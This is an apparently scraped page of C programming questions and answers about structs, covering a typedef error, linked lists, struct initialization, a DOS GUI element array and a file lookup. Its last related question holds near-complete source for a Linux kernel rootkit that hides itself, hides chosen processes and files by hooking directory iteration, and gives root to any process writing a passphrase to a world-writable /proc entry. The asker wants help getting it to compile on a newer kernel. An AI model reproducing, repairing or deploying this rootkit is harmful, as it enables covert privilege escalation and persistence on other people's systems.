Unable to fix the Error code C2065 'Bucket': undeclared identifier - c

I have a problem with my code. I'm getting an error message that says. Severity Code Description Project File Line Suppression State
Error C2065 'Bucket': undeclared identifier. But the problem is that I have defined Bucket. Would any of you check what is wrong. The code I'm working on is a code skeleton.
here you get these two important codes.
Ps: Sorry for my English, it's not my mother tongue all the translation is from google translate
#ifndef BUCKET_H
#define BUCKET_H
#include "Person.h"
typedef Person Value;
typedef int Key;
struct Bucket
{
Key key;
Value value;
};
#endif
#define _CRT_SECURE_NO_WARNINGS // Behovs for vissa funktioner i visual studio
#include "HashTable.h"
#include "Bucket.h"
#include<assert.h>
#include<stdlib.h>
#include<stdio.h>
/* Denna funktion tar en nyckel och returnerar ett hash-index
dvs ett index till arrayen som Šr Hashtabellen */
static int hash(Key key, int tablesize)
{
return key % tablesize;
}
/*Leta framŒt enligt principen šppen adressering
Antalet krockar returneras via pekaren col i parameterlistan*/
static int linearProbe(const HashTable* htable, Key key, unsigned int *col)
{
int index;
index = hash(key, htable->size);
int i;
for (i = 0; i < htable->size; i++) {
if (htable->table[index].key == key) {
return index;
}
index = (index + 1) % htable->size;
}
*col = i;
return -1;
}
/*Allokera minne fšr hashtabellen*/
HashTable createHashTable(unsigned int size)
{
HashTable htable;
htable.table = calloc(size, sizeof(Bucket));
htable.size = size;
return htable;
}
/* Satter in paret {key,data} i Hashtabellen, om en nyckel redan finns ska vardet uppdateras */
/* Returnerar antalet krockar (som rŠknas i linearProbe() )*/
unsigned int insertElement(HashTable* htable, const Key key, const Value value)
{
unsigned int col = 0;
int index = linearProbe(htable, key, &col);
if (index >= 0) {
htable->table[index].value = value;;
return col;
}
htable->table[index].value = value;
return col;
}
/* Tar bort datat med nyckel "key" */
void deleteElement(HashTable* htable, const Key key)
{
unsigned int col = 0;
int index = linearProbe(htable, key, &col);
if (index >= 0) {
htable->table[index].key = 0;
}
}
/* Returnerar en pekare till vardet som key ar associerat med eller NULL om ingen sadan nyckel finns */
const Value* lookup(const HashTable* htable, const Key key)
{
unsigned int col = 0;
int index = linearProbe(htable, key, &col);
if (index >= 0) {
return &htable->table[index];
}
return NULL;
}
/* Tommer Hashtabellen */
void freeHashTable(HashTable* htable)
{
free(htable->table);
free(htable);
}
/* Ger storleken av Hashtabellen */
unsigned int getSize(const HashTable* htable)
{
return htable->size;
}
/* Denna for att ni enkelt ska kunna visualisera en Hashtabell */
void printHashTable(const HashTable* htable)
{
for (int i = 0; i < htable->size; i++) {
printPerson(&htable->table[i], i);
}
}

You declare a structure called "struct Bucket" like this:
struct Bucket
{
Key key;
Value value;
};
But then you refer to it like this:
htable.table = calloc(size, sizeof(Bucket));
There is no type called "Bucket", only "struct Bucket". If you want to do something like that, better to have:
typedef struct
{
Key key;
Value value;
} Bucket;
If you're just typedefing it like this, you can use an anonymous struct, i.e. you don't need to tag the struct as "struct Bucket".
The alternative is to always refer to it as "struct Bucket", e.g.:
htable.table = calloc(size, sizeof(struct Bucket));
I think your code would maybe compile in C++, which allows dropping the "struct" when referring to types, but you've tagged this as C.

Related

Losing struct values after assigning 'next' and 'prev' struct pointers

I am creating a Book Management system in which the user can search by the title or the author of the book. The problem I am running into is when I try to get the values from the books. When searching for the author, all I get are symbols and an infinite for loop, instead of any of the authors that are already saved in config.
I am more than certain that it is something wrong with the way I am storing these values, but am not sure.
main.c:
#include <stdlib.h>
#include <stdio.h>
int main(int argc, char * argv[]) {
struct Books books;
// Config works fine and dandy, don't need to worry about this
cfg = read_config(cfg, "test-cfg.cfg");
for (int size = 0; size < cfg.valuesSize; size++) {
// Gets values from the config and assigns the values to the struct Books
books.id = atoi(cfg.values[size][0][1]);
strcpy(books.name, cfg.values[size][1][1]);
strcpy(books.author, cfg.values[size][2][1]);
strcpy(books.description, cfg.values[size][3][1]);
// Assign prev and next in Books struct
struct Books nextBook;
books.next = &nextBook;
nextBook.prev = &books;
books = *books.next;
}
// This throws Frontend screens at the user
// While also pipelining to backend functions
while(true) {
int welcome = 1;
switch (welcome) {
case 1: {
struct Books booksFound[cfg.valuesSize];
int booksFoundPtr = 0;
int searchOption = 2;
getchar();
if (searchOption==2) {
printf("Enter the Author: ");
char bookAuthor[AUTHOR_MAX];
fgets(bookAuthor, AUTHOR_MAX, stdin);
// Here is where the code screws up.
// It gives me random symbols instead of the book author's name
for (; books.id >= 1; books = *books.prev) {
if (strncmp(books.author, bookAuthor, strlen(books.author))==0) {
booksFound[booksFoundPtr] = books;
booksFoundPtr++;
}
}
}
// Used for showing all matching book authors
for (int i = 0; i < booksFoundPtr; i++) {
printf("ID:%d\nTITLE:%s\nAUTHOR:%s\nDESCRIPTION:%s\n", booksFound[i].id, booksFound[i].name, booksFound[i].author, booksFound[i].description);
char option[2] = {'\0'};
fgets(option, 2, stdin);
switch(atoi(option)) {
case 1: {
if (i+1 == booksFoundPtr) {
i--;
}
break;
}
case 2: {
if (i-1 < 0) {
i--;
break;
}
else {
i-=2;
}
break;
}
default: {
break;
}
}
}
// Rewinds books for next use
while(books.id != cfg.valuesSize) {
books = *books.next;
}
continue;
}
default: {
continue;
}
}
break;
}
return 0;
}
books.h
#define NAME_MAX 60
#define AUTHOR_MAX 100
#define DESCRIPTION_MAX 240
struct Books {
int id;
char name[NAME_MAX];
char author[AUTHOR_MAX];
char description[DESCRIPTION_MAX];
struct Books * next;
struct Books * prev;
};

Initializing a struct in C

Im having trouble initialising structures (well doing everything actually, but structures first). The struct is first made in a header as follows
typedef enum cell
{
BLANK, RED, CYAN
} Cell;
#define NAMELEN 20
typedef struct player
{
char name[NAMELEN + NULL_SPACE];
Cell token;
unsigned score;
} Player;
void initFirstPlayer(Player * player);
void initSecondPlayer(Player * player, Cell token);
#endif
=======================================================================
and I tried to initialise it here
void initFirstPlayer(Player * player)
{
int randNo = rand() % 2;
if (randNo == 0) {
token = RED;
}
else() {
token = CYAN;
}
player ; p1 = {
"placeholder",
token,
0,
}
}
void initSecondPlayer(Player * player, Cell token)
{ }
What is the correct way to initialise this player struct?
I suspect this should work for you. Use a generic initPlayer function. Use that to allocate memory for the player and set the initial values. Be sure to also include a freePlayer function where you free() the player when you're done.
#include <stdlib.h>
#include <string.h>
Player* initPlayer()
{
Player* player = malloc(sizeof(Player));
int randNo = rand() % 2;
if (randNo == 0) {
player->token = RED;
}
else {
player->token = CYAN;
}
const char* initName = "placeholder";
strcpy(player->name, initName);
player->score = 0;
return player;
}
void freePlayer(Player* p)
{
free(p);
}
The way you'd use this would be like so:
int main()
{
Player* p1 = initPlayer();
Player* p2 = initPlayer();
play(p1, p2);
freePlayer(p1);
freePlayer(p2);
}
Assuming you have at least C99 support, so that compound literals and designated initializers are available to you, then you can use:
void initFirstPlayer(Player *player)
{
*player = (Player){ .token = rand() % 2 ? CYAN : RED,
.score = 0,
.name = "placeholder"
};
}
This does a structure assignment to the variable whose address is passed to the function. It compresses it all into one statement; you can split it out into several if you wish. This is an occasion where the ternary ? : operator is useful. You might prefer (rand() % 2) with the extra parentheses; I'd probably add them as often as I'd omit them.
The compound literal comes from (typename){ ...initializer for typename... }.
The designated initializers are the .member = value notations.
If you're stuck with C90 support, you have to work harder, perhaps creating a local variable with the correct information and then doing the structure assignment.
void initFirstPlayer(Player *player)
{
Player p1 = { "placeholder", rand() % 2 ? CYAN : RED, 0 };
*player = p1;
}
Now the onus is on you to list the initializers in the correct sequence.
Another way is to receive the player you want to inicialize as parameter:
void initPlayer(Player* player)
{
int randNo = rand() % 2;
if (randNo == 0) {
player->token = RED;
}
else {
player->token = CYAN;
}
const char* initName = "placeholder";
strcpy(player->name, initName);
player->score = 0;
}
int main() {
Player p1;
initPlayer(&p1);
}
You can have an array of players or allocate dinamically with malloc.

Create an array containing structs in C

I've been working on creating my own GUI library for MS-DOS on my free time and I got stuck on how I can implement an array that would contain structures of GUI elements.
So far I was able to make it draw the window itself, but I needed a way to draw the elements inside the window such as text boxes, text labels, buttons, ect.
Here's my current code:
#include <stdio.h>
#include <conio.h>
#include <malloc.h>
#include <string.h>
#include "graph.h" //Watcom graphics library
#define false 0
#define true 1
#define border_none 0
#define border_out 1
#define border_in 2
struct text_button {
char text[128];
int pos_x;
int pos_y;
int size_x;
int size_y;
int text_color;
int button_color;
};
struct window_structure {
char title[128];
int pos_x;
int pos_y;
int pre_pos_x;
int pre_pos_y;
int size_x;
int size_y;
int min_size_x;
int min_size_y;
int max_size_x;
int max_size_y;
int show_tab;
int border_type;
int focused;
//Right here is where I would add the array containing the elements.
};
void draw_border(int type,int pos_x,int pos_y,int size_x,int size_y) {
int c_1,c_2;
if (type==1) {
c_1=15;
c_2=0;
} else if (type==2) {
c_1=0;
c_2=15;
}
if (type!=0) {
_setcolor(c_1);
_moveto(pos_x,pos_y);
_lineto(pos_x+size_x,pos_y);
_moveto(pos_x,pos_y);
_lineto(pos_x,pos_y+size_y);
_setcolor(c_2);
_moveto(pos_x+size_x,pos_y+size_y);
_lineto(pos_x+size_x,pos_y);
_moveto(pos_x+size_x,pos_y+size_y);
_lineto(pos_x,pos_y+size_y);
}
}
void draw_box(int type,int color,int pos_x,int pos_y,int size_x,int size_y) {
_setcolor(color);
_rectangle(_GFILLINTERIOR,pos_x,pos_y,pos_x+size_x,pos_y+size_y);
draw_border(type,pos_x-1,pos_y-1,size_x+2,size_y+2);
}
struct window_structure create_window(
char title[],
int pos_x,
int pos_y,
int size_x,
int size_y,
int min_size_x,
int min_size_y,
int max_size_x,
int max_size_y,
int show_tab,
int border_type
) {
struct window_structure window;
strcpy(window.title,title);
window.pos_x=pos_x;
window.pos_y=pos_y;
window.pre_pos_x=pos_x;
window.pre_pos_y=pos_y;
window.size_x=size_x;
window.size_y=size_y;
window.min_size_x=min_size_x;
window.min_size_y=min_size_y;
window.max_size_x=max_size_x;
window.max_size_y=max_size_y;
window.show_tab=show_tab;
window.border_type=border_type;
window.focused=true;
return window;
}
void draw_window(struct window_structure window) {
int offset_x,offset_y;
if (window.size_x<window.min_size_x) {
window.size_x=window.min_size_x;
} else if (window.size_x>window.max_size_x) {
window.size_x=window.max_size_x;
}
if (window.size_y<window.min_size_y) {
window.size_y=window.min_size_y;
} else if (window.size_y>window.max_size_y) {
window.size_y=window.max_size_y;
}
if (window.show_tab==true) {
int tab_color;
if (window.focused==true) {
tab_color=9;
} else {
tab_color=8;
}
draw_box(
window.border_type,
tab_color,
window.pos_x,
window.pos_y-1,
window.size_x-1,
18
);
offset_x=0;
offset_y=20;
}
draw_box(
window.border_type,
7,
window.pos_x+offset_x,
window.pos_y+offset_y,
window.size_x-1,
window.size_y-1
);
//Once the window has been drawn, the next part it would do here is draw the elements
window.pre_pos_x=window.pos_x;
window.pre_pos_y=window.pos_y;
}
I know MS-DOS is quite outdated, this is just for my hobby. I'm currently using Open Watcom as my compiler.
//Right here is where I would add the array containing the elements.
You know, since you'll have a variable number of elements, you can't declare a fixed-size array here, so you can just declare a pointer and allocate the array as needed. You'll also need to store the number of elements allocated.
struct window_structure
{
…
int nelem; // how many elements are there
struct element *elements; // pointer to allocated elements
};
Both shall be initialized to 0.
struct window_structure create_window(…)
{
…
window.nelem = 0;
window.elements = NULL;
return window;
}
The struct element type could be defined as
struct element
{ enum elemtype { text_button, /* add other types here */ } elemtype;
union
{ struct text_button tb;
/* add other types here */
} u;
};
An element, e. g. a text_button, could then be added to the window with
struct element *new;
new = realloc(window.elements, (window.nelem+1) * sizeof *new);
if (!new) exit(1); // or some better error handling
window.elements = new;
window.elements[window.nelem].elemtype = text_button;
window.elements[window.nelem].u.tb = your_text_button_to_add;
++window.nelem;
//Once the window has been drawn, the next part it would do here is draw the elements
This would then be done like
int i;
for (i = 0; i < window.nelem; ++i)
switch (window.elements[i].elemtype)
{
case text_button:
/* draw the text_button window.elements[i].u.tb here */
break;
/* add cases for other element types here */
}

Working with pointers in C

I have created this program in c. The user type 'lieunaissance' and then we open a formatted file to search 'lieunaissance' value.
I had a problem with the file, but now, my problem is with my structure struct departement *recherche_dpt(char recherche_code[]), it always returns CODE_NON_TROUVE = 0.
How should I solve this, please?
#include<stdio.h>
#include<string.h>
#include<ctype.h>
#include<stdlib.h>
#include<stddef.h>
#include <errno.h>
#define MAX_dpt 100000
#define KEY_NOT_FOND "NOT_FOUND"
/* global statement */
struct departement
{
char currentCode[10];
char oldCode[10];
char name[50];
struct departement *predecesseur ;
struct departement *successeur;
};
struct departement *debut_liste, *fin_liste;
struct departement *undepartement();
void ouvrir_fichier(char Nomfichier[]);
struct departement *search_dpt(char recherche_code[]);
struct departement tabdpt[MAX_dpt];
int main()
{
char sexe, reponse, date[5], annee[3], mois[4], bidon[3],birthPlace[30], ordre[4], struct1[6], struct2[6],nir1[12],nir[13],nir2[13], nirancien[13] ;
int i, namebre, cle, reste,n;
long int val;
struct departement undpt, *pointeur;
char code[10];
scanf("%s",birthPlace);
// convert birthplace uppercase and assign it to name
int k = 0;
while(birthPlace[k])
{
birthPlace[k] = toupper(birthPlace[k]);
k++;
}
printf("%s\n", birthPlace);
// Read in the file
ouvrir_fichier("Basedecommunes.txt");
pointeur=search_dpt(birthPlace);
undpt = *pointeur;
if (strcmp(undpt.currentCode,KEY_NOT_FOND)==0)
{
printf("No ""%s"" has been found \n",birthPlace);
}
else
{
printf("Current code : %s\n",undpt.currentCode);
printf("Old code : %s\n",undpt.oldCode);
printf("Department name : %d\n",undpt.name);
}
void ouvrir_fichier(char Nomfichier[])
{
struct departement *ptmp, *prec, *succ;
FILE *f1;
int nb, lire;
nb=0;
f1=fopen(Nomfichier, "r" );
if (f1 == NULL) {
printf("fopen failed, errno = %d\n", errno);
}
else {
printf("fopen succeeded\n");
while ((! feof(f1)) && (nb < MAX_dpt) )
{
ptmp=undepartement();
if (ptmp != NULL) {
lire=fscanf (f1, "%s %s %s", (*ptmp).currentCode, (*ptmp).oldCode, (*ptmp).name);
printf("lire = %d\n",lire);
if (lire != EOF)
{
(*ptmp).predecesseur=NULL ;
(*ptmp).successeur=NULL;
if (debut_liste == NULL)
{
debut_liste=ptmp ;
fin_liste=ptmp ;
}
else
{
(*fin_liste).successeur=ptmp ;
(*ptmp).predecesseur=fin_liste ;
fin_liste=ptmp ;
}
nb++ ;
}
} else {
printf("malloc error\n");
}
}
}
fclose(f1);
}
/*--- fonction de recherche --- */
struct departement *search_dpt(char dep_name[])
{
struct departement ptmp, *pointeur, *pactu;
int trouve ;
trouve = 0 ;
pointeur=undepartement();
strcpy((*pointeur).currentCode, KEY_NOT_FOND);
pactu=debut_liste ;
while ((! trouve) && (pactu != NULL))
{
ptmp = (*pactu) ;
pactu=(*pactu).successeur ;
trouve=((strcmp(ptmp.currentCode,dep_name))==0) ;
if (trouve)
{
*pointeur=ptmp ;
}
}
return pointeur;
}
/* --- allocation memoire d'une nouvelle structure --- */
struct departement * undepartement(void)
{
struct departement *p = malloc(sizeof *p);
return p;
}
The file content:
01001 01001 ABERGEMENT-CLEMENCIAT
01002 01002 ABERGEMENT-DE-VAREY
01003 01003 AMAREINS
01004 01004 AMBERIEU-EN-BUGEY
01005 01005 AMBERIEUX-EN-DOMBES
01006 01006 AMBLEON
01007 01007 AMBRONAY
01008 01008 AMBUTRIX
01009 01009 ANDERT-ET-CONDON
01010 01010 ANGLEFORT
01011 01011 APREMONT
01012 01012 ARANC
01013 01013 ARANDAS
01014 01014 ARBENT
01015 01015 ARBIGNIEU
01016 01016 ARBIGNY
In your code,
strcpy((*pointeur).codeactuel, CODE_NON_TROUVE);
codeactuel is defined to have a size of 10, but to copy CODE_NON_TROUVE you need to have a size of 11.
Then, printf(birthPlace); is also wrong, it should be something like
printf("%s\n", birthPlace);
Also, there is a logical problem in
pointeur=undepartement();
if malloc() fails and undepartement() returns NULL, you'll be facing undefined behaviour by dereferencing pointeur. Please add a NULL check.
P.S - There maybe other issues. Please provide a MCVE and if possible kindly stick to english so that we can understand the code logic in a better way.
Inside while loop you are comparing .currentCode with .dep_name.
This was wrong. Change the code to this:
// trouve=((strcmp(ptmp.currentCode,dep_name))==0) ;
trouve=((strcmp(ptmp.name,dep_name))==0) ;
And it works correct.

dereferencing proc_dir_entry pointer causing compilation error on linux version 3.11 and above

I am trying to follow an example rootkit given here https://github.com/ivyl/rootkit
I modified this example so that I can compile it on linux version 3.11.
I found that latest linux versions stopped supporting few API's such as create_proc_entry, readdir has been replaced by iterate etc.
On linux version is 3.11.0-23 I also observed that my include directories does not contain internal.h so as to have complete definition of proc_dir_entry. On lower versions on linux ( < 3.10 ) we are having definition for proc_dir_entry in proc_fs.h file.
The modified rootkit file looks like this:
#include <linux/init.h>
#include <linux/module.h>
#include <linux/proc_fs.h>
#include <linux/string.h>
#include <linux/cred.h>
#include <linux/fs.h>
//#include "fs/proc/internal.h"
#define MIN(a,b) \
({ typeof (a) _a = (a); \
typeof (b) _b = (b); \
_a < _b ? _a : _b; })
#define MAX_PIDS 50
MODULE_LICENSE("Dual BSD/GPL");
MODULE_AUTHOR("Arkadiusz Hiler<ivyl#sigillum.cc>");
MODULE_AUTHOR("Michal Winiarski<t3hkn0r#gmail.com>");
//STATIC VARIABLES SECTION
//we don't want to have it visible in kallsyms and have access to it all the time
static struct proc_dir_entry *proc_root;
static struct proc_dir_entry *proc_rtkit;
static int (*proc_iterate_orig)(struct file *, struct dir_context *);
static int (*fs_iterate_orig)(struct file *, struct dir_context *);
static filldir_t proc_filldir_orig;
static filldir_t fs_filldir_orig;
static struct file_operations *proc_fops;
static struct file_operations *fs_fops;
static struct list_head *module_previous;
static struct list_head *module_kobj_previous;
static char pids_to_hide[MAX_PIDS][8];
static int current_pid = 0;
static char hide_files = 1;
static char module_hidden = 0;
static char module_status[1024];
//MODULE HELPERS
void module_hide(void)
{
if (module_hidden) return;
module_previous = THIS_MODULE->list.prev;
list_del(&THIS_MODULE->list);
module_kobj_previous = THIS_MODULE->mkobj.kobj.entry.prev;
kobject_del(&THIS_MODULE->mkobj.kobj);
list_del(&THIS_MODULE->mkobj.kobj.entry);
module_hidden = !module_hidden;
}
void module_show(void)
{
int result;
if (!module_hidden) return;
list_add(&THIS_MODULE->list, module_previous);
result = kobject_add(&THIS_MODULE->mkobj.kobj, THIS_MODULE->mkobj.kobj.parent, "rt");
module_hidden = !module_hidden;
}
//PAGE RW HELPERS
static void set_addr_rw(void *addr)
{
unsigned int level;
pte_t *pte = lookup_address((unsigned long) addr, &level);
if (pte->pte &~ _PAGE_RW) pte->pte |= _PAGE_RW;
}
static void set_addr_ro(void *addr)
{
unsigned int level;
pte_t *pte = lookup_address((unsigned long) addr, &level);
pte->pte = pte->pte &~_PAGE_RW;
}
//CALLBACK SECTION
static int proc_filldir_new(void *buf, const char *name, int namelen, loff_t offset, u64 ino, unsigned d_type)
{
int i;
for (i=0; i < current_pid; i++) {
if (!strcmp(name, pids_to_hide[i])) return 0;
}
if (!strcmp(name, "rtkit")) return 0;
return proc_filldir_orig(buf, name, namelen, offset, ino, d_type);
}
static int proc_iterate_new(struct file *filp, struct dir_context *dir_ctx)
{
proc_filldir_orig = dir_ctx->actor;
return proc_iterate_orig(filp, dir_ctx);
}
static int fs_filldir_new(void *buf, const char *name, int namelen, loff_t offset, u64 ino, unsigned d_type)
{
if (hide_files && (!strncmp(name, "__rt", 4) || !strncmp(name, "10-__rt", 7))) return 0;
return fs_filldir_orig(buf, name, namelen, offset, ino, d_type);
}
static int fs_iterate_new(struct file *filp, struct dir_context *dir_ctx)
{
fs_filldir_orig = dir_ctx->actor;
return fs_iterate_orig(filp, dir_ctx);
}
static int rtkit_read(char *buffer, char **buffer_location, off_t off, int count, int *eof, void *data)
{
int size;
sprintf(module_status,
"RTKIT\n\
DESC:\n\
hides files prefixed with __rt or 10-__rt and gives root\n\
CMNDS:\n\
godisgreat - uid and gid 0 for writing process\n\
hpXXXX - hides proc with id XXXX\n\
up - unhides last process\n\
thf - toogles file hiding\n\
mh - module hide\n\
ms - module show\n\
STATUS\n\
fshide: %d\n\
pids_hidden: %d\n\
module_hidden: %d\n", hide_files, current_pid, module_hidden);
size = strlen(module_status);
if (off >= size) return 0;
if (count >= size-off) {
memcpy(buffer, module_status+off, size-off);
} else {
memcpy(buffer, module_status+off, count);
}
return size-off;
}
static int rtkit_write(struct file *file, const char __user *buff, unsigned long count, void *data)
{
if (!strncmp(buff, "godisgreat", MIN(11, count))) { //changes to root
struct cred *credentials = prepare_creds();
credentials->uid = credentials->euid = 0;
credentials->gid = credentials->egid = 0;
commit_creds(credentials);
} else if (!strncmp(buff, "hp", MIN(2, count))) {//upXXXXXX hides process with given id
if (current_pid < MAX_PIDS) strncpy(pids_to_hide[current_pid++], buff+2, MIN(7, count-2));
} else if (!strncmp(buff, "up", MIN(2, count))) {//unhides last hidden process
if (current_pid > 0) current_pid--;
} else if (!strncmp(buff, "thf", MIN(3, count))) {//toggles hide files in fs
hide_files = !hide_files;
} else if (!strncmp(buff, "mh", MIN(2, count))) {//module hide
module_hide();
} else if (!strncmp(buff, "ms", MIN(2, count))) {//module hide
module_show();
}
return count;
}
//INITIALIZING/CLEANING HELPER METHODS SECTION
static void procfs_clean(void)
{
if (proc_rtkit != NULL) {
remove_proc_entry("rtkit", NULL);
proc_rtkit = NULL;
}
if (proc_fops != NULL && proc_iterate_orig != NULL) {
set_addr_rw(proc_fops);
proc_fops->iterate = proc_iterate_orig;
set_addr_ro(proc_fops);
}
}
static void fs_clean(void)
{
if (fs_fops != NULL && fs_iterate_orig != NULL) {
set_addr_rw(fs_fops);
fs_fops->iterate = fs_iterate_orig;
set_addr_ro(fs_fops);
}
}
static int __init procfs_init(void)
{
//new entry in proc root with 666 rights
proc_rtkit = proc_create("rtkit", 0666, 0, NULL);
if (proc_rtkit == NULL) return 0;
proc_root = proc_rtkit->parent;
if (proc_root == NULL || strcmp(proc_root->name, "/proc") != 0) {
return 0;
}
proc_rtkit->read_proc = rtkit_read;
proc_rtkit->write_proc = rtkit_write;
//substitute proc iterate to our wersion (using page mode change)
proc_fops = ((struct file_operations *) proc_root->proc_fops);
proc_iterate_orig = proc_fops->iterate;
set_addr_rw(proc_fops);
proc_fops->iterate = proc_iterate_new;
set_addr_ro(proc_fops);
return 1;
}
static int __init fs_init(void)
{
struct file *etc_filp;
//get file_operations of /etc
etc_filp = filp_open("/etc", O_RDONLY, 0);
if (etc_filp == NULL) return 0;
fs_fops = (struct file_operations *) etc_filp->f_op;
filp_close(etc_filp, NULL);
//substitute iterate of fs on which /etc is
fs_iterate_orig = fs_fops->iterate;
set_addr_rw(fs_fops);
fs_fops->iterate = fs_iterate_new;
set_addr_ro(fs_fops);
return 1;
}
//MODULE INIT/EXIT
static int __init rootkit_init(void)
{
if (!procfs_init() || !fs_init()) {
procfs_clean();
fs_clean();
return 1;
}
module_hide();
return 0;
}
static void __exit rootkit_exit(void)
{
procfs_clean();
fs_clean();
}
module_init(rootkit_init);
module_exit(rootkit_exit);
While trying to build the code I am getting error "dereferencing pointer to incomplete type" because compiler is unaware about the complete definition for proc_dif_entry.
/prj/Rootkit/example3# make
make -C /lib/modules/3.11.0-23-generic/build M=/prj/Rootkit/example3 modules
make[1]: Entering directory `/usr/src/linux-headers-3.11.0-23-generic'
CC [M] /prj/Rootkit/example3/rt.o
/prj/Rootkit/example3/rt.c: In function ‘procfs_init’:
/prj/Rootkit/example3/rt.c:195:24: error: dereferencing pointer to incomplete type
/prj/Rootkit/example3/rt.c:196:43: error: dereferencing pointer to incomplete type
/prj/Rootkit/example3/rt.c:199:12: error: dereferencing pointer to incomplete type
/prj/Rootkit/example3/rt.c:200:12: error: dereferencing pointer to incomplete type
/prj/Rootkit/example3/rt.c:203:51: error: dereferencing pointer to incomplete type
/prj/Rootkit/example3/rt.c: At top level:
/prj/Rootkit/example3/rt.c:84:12: warning: ‘proc_filldir_new’ defined but not used [-Wunused-function]
/prj/Rootkit/example3/rt.c:100:12: warning: ‘fs_filldir_new’ defined but not used [-Wunused-function]
make[2]: *** [/prj/Rootkit/example3/rt.o] Error 1
make[1]: *** [_module_/prj/Rootkit/example3] Error 2
make[1]: Leaving directory `/usr/src/linux-headers-3.11.0-23-generic'
make: *** [default] Error 2
root#HP:/prj/Rootkit/example3# ^C
I am not sure how to proceed to resolve these errors.
Any Help !
Thanks,
-Hitesh.

Resources